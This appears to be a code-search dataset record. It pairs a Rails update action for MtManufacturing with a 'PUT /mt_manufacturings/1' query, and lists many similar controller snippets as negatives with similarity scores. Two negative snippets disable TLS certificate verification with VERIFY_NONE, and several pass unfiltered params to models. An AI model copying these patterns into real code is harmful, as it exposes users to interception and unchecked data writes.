"def create\n @post_o_matic_posting = PostOMaticPosting.new(params[:post_o_matic_posting])\n\n respond_to do |format|\n if @post_o_matic_posting.save\n flash[:success] = 'Post-O-Matic Posting was successfully created.'\n format.html { redirect_to(admin_post_o_matic_postings_url) }\n format.xml { render :xml => @post_o_matic_posting, :status => :created, :location => @post_o_matic_posting }\n else\n flash[:error] = 'Post-O-Matic Posting could not be created. See errors below.'\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post_o_matic_posting.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @woodensofaset = Woodensofaset.new(woodensofaset_params)\n\n respond_to do |format|\n if @woodensofaset.save\n format.html { redirect_to @woodensofaset, notice: 'Woodensofaset was successfully created.' }\n format.json { render :show, status: :created, location: @woodensofaset }\n else\n format.html { render :new }\n format.json { render json: @woodensofaset.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @technicals_equipment = TechnicalsEquipment.new(params[:technicals_equipment])\n\n respond_to do |format|\n if @technicals_equipment.save\n format.html { redirect_to([:admin, @technicals_equipment], :notice => 'TechnicalsEquipment criada com sucesso.') }\n format.xml { render :xml => @technicals_equipment, :status => :created, :location => @technicals_equipment }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @technicals_equipment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def maker_params\n params.require(:maker).permit(:name, type_ids: [])\n end",
"def new_rest\n @entry_instrument = EntryInstrument.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry_instrument }\n end\n end",
"def create\n @drum_machine = DrumMachine.new(params[:drum_machine])\n\n respond_to do |format|\n if @drum_machine.save\n flash[:notice] = 'DrumMachine was successfully created.'\n format.html { redirect_to(@drum_machine) }\n format.xml { render :xml => @drum_machine, :status => :created, :location => @drum_machine }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @drum_machine.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @simthing = Simthing.new(params[:simthing])\n\n respond_to do |format|\n if @simthing.save\n flash[:notice] = 'Simthing was successfully created.'\n format.html { redirect_to(@simthing) }\n format.xml { render :xml => @simthing, :status => :created, :location => @simthing }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @simthing.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def manufacturer=(value)\n @manufacturer = value\n end",
"def create\n @product_management = ProductManagement.new(product_management_params)\n\n if @product_management.save\n render json: @product_management, status: :created, location: @product_management\n else\n render json: @product_management.errors, status: :unprocessable_entity\n end\n end",
"def create\n megam_rest.post_node(to_hash)\n end",
"def new\n @machine_price = MachinePrice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @machine_price }\n end\n end",
"def create\n @vehicle = Vehicle.find params[:vehicle_id]\n @mileage = @vehicle.mileages.new(params[:mileage])\n \n respond_to do |format|\n if @mileage.save\n format.html { redirect_to([@mileage.vehicle.fleet, @mileage.vehicle], :notice => 'Mileage Record was successfully created.') }\n format.xml { render :xml => @mileage, :status => :created, :location => @mileage }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @mileage.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @seat_manufacturer }\n end\n end",
"def create\n @vehicle_manufacturer = VehicleManufacturer.new(vehicle_manufacturer_params)\n\n respond_to do |format|\n if @vehicle_manufacturer.save\n flash.now[:notice] = 'Vehicle manufacturer was successfully created.'\n format.html { redirect_to @vehicle_manufacturer, notice: 'Vehicle manufacturer was successfully created.' }\n format.js\n format.json { render action: 'show', status: :created, location: @vehicle_manufacturer }\n else\n format.html { render action: 'new' }\n format.json { render json: @vehicle_manufacturer.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6243059",
"0.5801658",
"0.57229203",
"0.56237304",
"0.5608113",
"0.56042343",
"0.55512124",
"0.54054254",
"0.5387497",
"0.53700304",
"0.53185505",
"0.52805436",
"0.52801526",
"0.52642375",
"0.52593",
"0.52543503",
"0.52483827",
"0.5245466",
"0.5234892",
"0.52237755",
"0.51980096",
"0.5196508",
"0.519465",
"0.5193905",
"0.5176723",
"0.51587117",
"0.5152546",
"0.51507914",
"0.5150308",
"0.51471144",
"0.5142817",
"0.51423454",
"0.51330763",
"0.5124096",
"0.5118674",
"0.5104163",
"0.5094372",
"0.50900716",
"0.5076518",
"0.5074609",
"0.50741",
"0.5069021",
"0.5061005",
"0.50595015",
"0.505565",
"0.5046864",
"0.50431365",
"0.5038201",
"0.5029569",
"0.5006474",
"0.49928266",
"0.4982006",
"0.4981487",
"0.49797112",
"0.49458405",
"0.49439394",
"0.4940759",
"0.49342832",
"0.4933828",
"0.4929994",
"0.49287012",
"0.49270463",
"0.49264014",
"0.49244618",
"0.49222377",
"0.49207613",
"0.48998526",
"0.4889041",
"0.48826",
"0.48777694",
"0.48764107",
"0.48726743",
"0.4868532",
"0.48663074",
"0.48622864",
"0.4861038",
"0.48434502",
"0.48387367",
"0.48342538",
"0.48311174",
"0.48304045",
"0.48303625",
"0.48211393",
"0.48183453",
"0.4815489",
"0.48142004",
"0.48111075",
"0.48087403",
"0.48086235",
"0.48069745",
"0.4806459",
"0.48026216",
"0.4800605",
"0.4799948",
"0.47996402",
"0.4799398",
"0.47993067",
"0.4797187",
"0.47928703",
"0.47871622"
] |
0.701045
|
0
|
PUT /mt_manufacturings/1 PUT /mt_manufacturings/1.xml
|
def update
@mt_manufacturing = MtManufacturing.find(params[:id])
return_url = ''
if params[:arrow]
if params[:arrow] == 'next'
return_url = mt_distribution_path(@mt_manufacturing.mt_product)
end
if params[:arrow] == 'previous'
return_url = mt_raw_material_path(@mt_manufacturing.mt_product)
end
end
respond_to do |format|
if @mt_manufacturing.update_attributes(params[:mt_manufacturing])
format.html { redirect_to(return_url) }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xml => @mt_manufacturing.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_manufacturing\n @manufacturing = Manufacturing.find(params[:id])\n \n end",
"def create\n @mt_manufacturing = MtManufacturing.new(params[:mt_manufacturing])\n\n respond_to do |format|\n if @mt_manufacturing.save\n format.html { redirect_to(@mt_manufacturing, :notice => 'Mt manufacturing was successfully created.') }\n format.xml { render :xml => @mt_manufacturing, :status => :created, :location => @mt_manufacturing }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @mt_manufacturing.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def destroy\n @mt_manufacturing = MtManufacturing.find(params[:id])\n @mt_manufacturing.destroy\n\n respond_to do |format|\n format.html { redirect_to(mt_manufacturings_url) }\n format.xml { head :ok }\n end\n end",
"def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def update\n @manufacture_order = ManufactureOrder.find(params[:id])\n\n respond_to do |format|\n if @manufacture_order.update_attributes(params[:manufacture_order])\n format.html { redirect_to @manufacture_order, :notice => 'Manufacture order was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @manufacture_order.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @seat_manufacturer.update_attributes(params[:seat_manufacturer])\n format.html { redirect_to @seat_manufacturer, notice: 'Seat manufacturer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @seat_manufacturer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @appliance_manufacturer = ApplianceManufacturer.find(params[:id])\n\n respond_to do |format|\n if @appliance_manufacturer.update_attributes(params[:appliance_manufacturer])\n format.html { redirect_to @appliance_manufacturer, notice: 'Appliance manufacturer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @appliance_manufacturer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @mt_use_machine_subsystem_data = MtUseMachineSubsystemData.find(params[:id])\n\n respond_to do |format|\n if @mt_use_machine_subsystem_data.update_attributes(params[:mt_use_machine_subsystem_data])\n format.html { redirect_to(@mt_use_machine_subsystem_data) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @mt_use_machine_subsystem_data.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @mt_manufacturing = MtManufacturing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mt_manufacturing }\n end\n end",
"def update\n respond_to do |format|\n if @vehicle_manufacturer.update(vehicle_manufacturer_params)\n format.html { redirect_to @vehicle_manufacturer, notice: 'Vehicle manufacturer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @vehicle_manufacturer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @mt_distribution_packaging_data = MtDistributionPackagingData.find(params[:id])\n\n respond_to do |format|\n if @mt_distribution_packaging_data.update_attributes(params[:mt_distribution_packaging_data])\n format.html { redirect_to(@mt_distribution_packaging_data) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @mt_distribution_packaging_data.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @manufacturer_partner = ManufacturerPartner.find(params[:id])\n respond_to do |format|\n if @manufacturer_partner.update(manufacturer_partner_params)\n format.html { redirect_to([:admin, @manufacturer_partner], notice: 'Manufacturer Partner was successfully updated.') }\n format.xml { head :ok }\n website.add_log(user: current_user, action: \"Updated a manufacturer partner: #{@manufacturer_partner.name}\")\n else\n format.html { render action: \"edit\" }\n format.xml { render xml: @manufacturer_partner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_manufacturing_order\n @mo = ManufacturingOrder.find(params[:id])\n end",
"def _update(type, current_name, metadata={})\n type = type.to_s.camelize\n request :update do |soap|\n soap.body = {\n :metadata => {\n :current_name => current_name,\n :metadata => prepare(metadata),\n :attributes! => { :metadata => { 'xsi:type' => \"ins0:#{type}\" } }\n }\n }\n end\n end",
"def update_rest\n @item_usage = ItemUsage.find(params[:id])\n\n respond_to do |format|\n if @item_usage.update_attributes(params[:item_usage])\n flash[:notice] = 'ItemUsage was successfully updated.'\n format.html { redirect_to(@item_usage) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item_usage.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @manufacturer.update(manufacturer_params)\n format.html { redirect_to @manufacturer, notice: 'Combination dose was successfully updated.' }\n format.json { render :show, status: :ok, location: @manufacturer }\n else\n format.html { render :edit }\n format.json { render json: @manufacturer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @mt_energy_data = MtEnergyData.find(params[:id])\n\n respond_to do |format|\n if @mt_energy_data.update_attributes(params[:mt_energy_data])\n format.html { redirect_to(@mt_energy_data) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @mt_energy_data.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def update\n @mt_supplier_part_data = MtSupplierPartData.find(params[:id])\n\n respond_to do |format|\n if @mt_supplier_part_data.update_attributes(params[:mt_supplier_part_data])\n format.html { redirect_to(@mt_supplier_part_data) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @mt_supplier_part_data.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend",
"def update\n @mt_overhead_energy_data = MtOverheadEnergyData.find(params[:id])\n\n respond_to do |format|\n if @mt_overhead_energy_data.update_attributes(params[:mt_overhead_energy_data])\n format.html { redirect_to(@mt_overhead_energy_data) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @mt_overhead_energy_data.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @manufacturer = Manufacturer.find_by_id(params[:id])\n @manufacturer.name = params[:name]\n @manufacturer.rebate = params[:rebate]\n @manufacturer.rebate_description = params[:rebate_description]\n\n if @manufacturer.save\n redirect_to manufacturers_url\n else\n render 'edit'\n end\n end",
"def set_manufacturer\n @manufacturer = Manufacturer.find(params[:id])\n end",
"def set_manufacturer\n @manufacturer = Manufacturer.find(params[:id])\n end",
"def update\r\n @uom = Uom.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @uom.update_attributes(params[:uom])\r\n format.html { redirect_to(@uom, :notice => 'Uom was successfully updated.') }\r\n format.xml { head :ok }\r\n else\r\n format.html { render :action => \"edit\" }\r\n \r\n end\r\n end\r\n end",
"def update\n @mt_use_additional_energy_data = MtUseAdditionalEnergyData.find(params[:id])\n\n respond_to do |format|\n if @mt_use_additional_energy_data.update_attributes(params[:mt_use_additional_energy_data])\n format.html { redirect_to(@mt_use_additional_energy_data) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @mt_use_additional_energy_data.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @manufacturer_line = ManufacturerLine.find(params[:id])\n\n respond_to do |format|\n if @manufacturer_line.update_attributes(params[:manufacturer_line])\n flash[:notice] = 'ManufacturerLine was successfully updated.'\n format.html { redirect_to(@manufacturer_line) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @manufacturer_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if @device_manufacturer.update(device_manufacturer_params)\n respond_with(@device_manufacturer, location: device_manufacturers_url, notice: 'Device manufacturer was successfully updated.')\n else\n respond_with(@device_manufacturer)\n end\n end",
"def update\n @st_packaging_data = StPackagingData.find(params[:id])\n\n respond_to do |format|\n if @st_packaging_data.update_attributes(params[:st_packaging_data])\n format.html { redirect_to(@st_packaging_data) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @st_packaging_data.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @mt_supplier_data = MtSupplierData.find(params[:id])\n\n respond_to do |format|\n if @mt_supplier_data.update_attributes(params[:mt_supplier_data])\n format.html { redirect_to(@mt_supplier_data) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @mt_supplier_data.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @paint_manufacturer = PaintManufacturer.find(params[:id])\n\n respond_to do |format|\n if @paint_manufacturer.update_attributes(params[:paint_manufacturer])\n format.html { redirect_to @paint_manufacturer, notice: 'Paint manufacturer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @paint_manufacturer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @verification = Verification.find(params[:id])\n #@manufacturers = Manufacturer.all\n\n if @verification.update_attributes(:status => params[:tag])\n if !params[:manufacturer_id].nil?\n redirect_to manufacturers_path, notice: 'manufacturer was updated.'\n else\n redirect_to retailers_path, notice: 'retailer was updated.'\n end\n end\n \n end",
"def update\n @simthing = Simthing.find(params[:id])\n\n respond_to do |format|\n if @simthing.update_attributes(params[:simthing])\n flash[:notice] = 'Simthing was successfully updated.'\n format.html { redirect_to(@simthing) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @simthing.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @operating_system = OperatingSystem.find(params[:id])\n\n respond_to do |format|\n if @operating_system.update_attributes(params[:operating_system])\n flash[:notice] = 'OperatingSystem was successfully updated.'\n format.html { redirect_to(@operating_system) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @operating_system.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @mt_material_data = MtMaterialData.find(params[:id])\n\n respond_to do |format|\n if @mt_material_data.update_attributes(params[:mt_material_data])\n format.html { redirect_to(@mt_material_data) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @mt_material_data.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @system.update(system_params)\n format.html { redirect_to([:admin, @system], notice: 'System was successfully updated.') }\n format.xml { head :ok }\n website.add_log(user: current_user, action: \"Updated spec: #{@system.name}\")\n else\n format.html { render action: \"edit\" }\n format.xml { render xml: @system.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @smartphone = Smartphone.find(params[:id])\n\n respond_to do |format|\n if @smartphone.update_attributes(params[:smartphone])\n format.html { redirect_to(@smartphone, :notice => 'Smartphone was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @smartphone.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.path)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n end",
"def update\n @frequentmag = Frequentmag.find(params[:id])\n\n respond_to do |format|\n if @frequentmag.update_attributes(params[:frequentmag])\n format.html { redirect_to(@frequentmag, :notice => 'Frequentmag was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @frequentmag.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}/volumes\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.request_uri)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n\n end",
"def update\n respond_to do |format|\n if @maker.update(maker_params)\n format.html { redirect_to @maker, notice: \"Maker was successfully updated.\" }\n format.json { render :show, status: :ok, location: @maker }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @maker.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @opml_metadata = OpmlMetadata.find(params[:id])\n\n respond_to do |format|\n if @opml_metadata.update_attributes(params[:opml_metadata])\n flash[:notice] = 'OpmlMetadata was successfully updated.'\n format.html { redirect_to(@opml_metadata) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @opml_metadata.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @virtualmachines = Virtualmachine.find(params[:id])\n\n respond_to do |format|\n if @virtualmachines.update_attributes(params[:virtualmachines])\n flash[:notice] = 'Virtualmachines was successfully updated.'\n format.html { redirect_to(@virtualmachines) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @virtualmachines.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @car_manufacturer.update(car_manufacturer_params)\n format.html { redirect_to @car_manufacturer, notice: 'Car manufacturer was successfully updated.' }\n format.json { render :show, status: :ok, location: @car_manufacturer }\n else\n format.html { render :edit }\n format.json { render json: @car_manufacturer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_vehicle_manufacturer\n @vehicle_manufacturer = VehicleManufacturer.find(params[:id])\n end",
"def update\n @gemm = Gemm.find(params[:id])\n\n respond_to do |format|\n if @gemm.update_attributes(params[:gemm])\n flash[:notice] = 'Gemm was successfully updated.'\n format.html { redirect_to(@gemm) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @gemm.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n \n @machine = Machine.find(params[:id])\n \n respond_to do |format|\n if @machine.update_attributes(params[:machine])\n \n flash[:notice] = 'Machine was successfully updated.'\n format.html { redirect_to machines_path() }\n format.xml { head :ok }\n format.atom { head :ok } \n else\n format.html { @machines = Machine.all \n render :action => \"index\" }\n format.xml { render :xml => @machine.errors, :status => :unprocessable_entity }\n format.atom { render :xml => @machine.errors.to_xml, :status => :not_acceptable }\n end\n end\n end",
"def update_rest\n @instrument_version = InstrumentVersion.find(params[:id])\n\n respond_to do |format|\n if @instrument_version.update_attributes(params[:instrument_version])\n flash[:notice] = 'InstrumentVersion was successfully updated.'\n format.html { redirect_to(@instrument_version) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @instrument_version.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @manufacturer_warranty_type = ManufacturerWarrantyType.find(params[:id])\n\n respond_to do |format|\n if @manufacturer_warranty_type.update_attributes(params.require(:manufacturer_warranty_type).permit(:name))\n format.html { redirect_to manufacturer_warranty_types_url,\n notice: 'Manufacturer warranty type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @manufacturer_warranty_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_rest\n @page_usage_event = PageUsageEvent.find(params[:id])\n\n respond_to do |format|\n if @page_usage_event.update_attributes(params[:page_usage_event])\n flash[:notice] = 'PageUsageEvent was successfully updated.'\n format.html { redirect_to(@page_usage_event) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page_usage_event.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_put_expenses_1_xml\n @parameters = {:expense => {:description => 'NewDescription'}}\n if ActiveRecord::VERSION::MAJOR < 4\n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/expenses/1.xml',\n {:expense => {:description => 'NewDescription'}},\n {:success_code => :ok})\n end\n\n assert_no_difference('Expense.count') do\n put '/expenses/1.xml', @parameters, credentials('admin')\n end\n\n expense = Expense.find(1)\n assert_equal \"NewDescription\", expense.description\n end",
"def update\n respond_to do |format|\n if @maker.update(maker_params)\n format.html { redirect_to @maker, notice: 'Maker was successfully updated.' }\n format.json { render :show, status: :ok, location: @maker }\n else\n format.html { render :edit }\n format.json { render json: @maker.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_rest\n @entry_instrument = EntryInstrument.find(params[:id])\n\n respond_to do |format|\n if @entry_instrument.update_attributes(params[:entry_instrument])\n flash[:notice] = 'EntryInstrument was successfully updated.'\n format.html { redirect_to(@entry_instrument) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry_instrument.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @aggregate_metadatum = AggregateMetadatum.find(params[:id])\n\n respond_to do |format|\n if @aggregate_metadatum.update_attributes(params[:aggregate_metadatum])\n format.html { redirect_to @aggregate_metadatum, notice: 'Aggregate metadatum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @aggregate_metadatum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @mtype = Mtype.find(params[:id])\n\n respond_to do |format|\n if @mtype.update_attributes(params[:mtype])\n format.html { redirect_to @mtype, notice: 'Mtype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mtype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sunsystem.update(sunsystem_params)\n format.html { redirect_to @sunsystem, notice: 'Sunsystem was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sunsystem.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_manufacturer\n @manufacturer = Manufacturer.find(params[:id])\n end",
"def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end",
"def update\n @service = Service.find(params[:id])\n\n respond_to do |format|\n if @service.update_attributes(params[:service])\n @service.add_parts(params[:parts])\n format.html { redirect_to(admin_service_path(@service), :notice => 'Service was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @service.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @metum = Metum.find(params[:id])\n\n respond_to do |format|\n if @metum.update_attributes(params[:metum])\n format.html { redirect_to @metum, notice: 'Metum was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @metum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @microarraygal = Microarraygal.find(params[:id])\n @title = \"Microarray GAL files\"\n\n respond_to do |format|\n if @microarraygal.update_attributes(params[:microarraygal])\n format.html { redirect_to(@microarraygal, :notice => 'Microarraygal was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @microarraygal.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @magazine = Magazine.find(params[:id])\n\n respond_to do |format|\n if @magazine.update_attributes(params[:magazine])\n flash[:notice] = 'Magazine was successfully updated.'\n format.html { redirect_to(@magazine) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @magazine.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n params.require(%i[id units])\n retrieve_and_validate_put.update!(units: params[:units])\n head :no_content\n end",
"def update_rest\n @entry_item = EntryItem.find(params[:id])\n\n respond_to do |format|\n if @entry_item.update_attributes(params[:entry_item])\n flash[:notice] = 'EntryItem was successfully updated.'\n #format.html { redirect_to(@entry_item) }\n format.xml { head :ok }\n else\n #format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
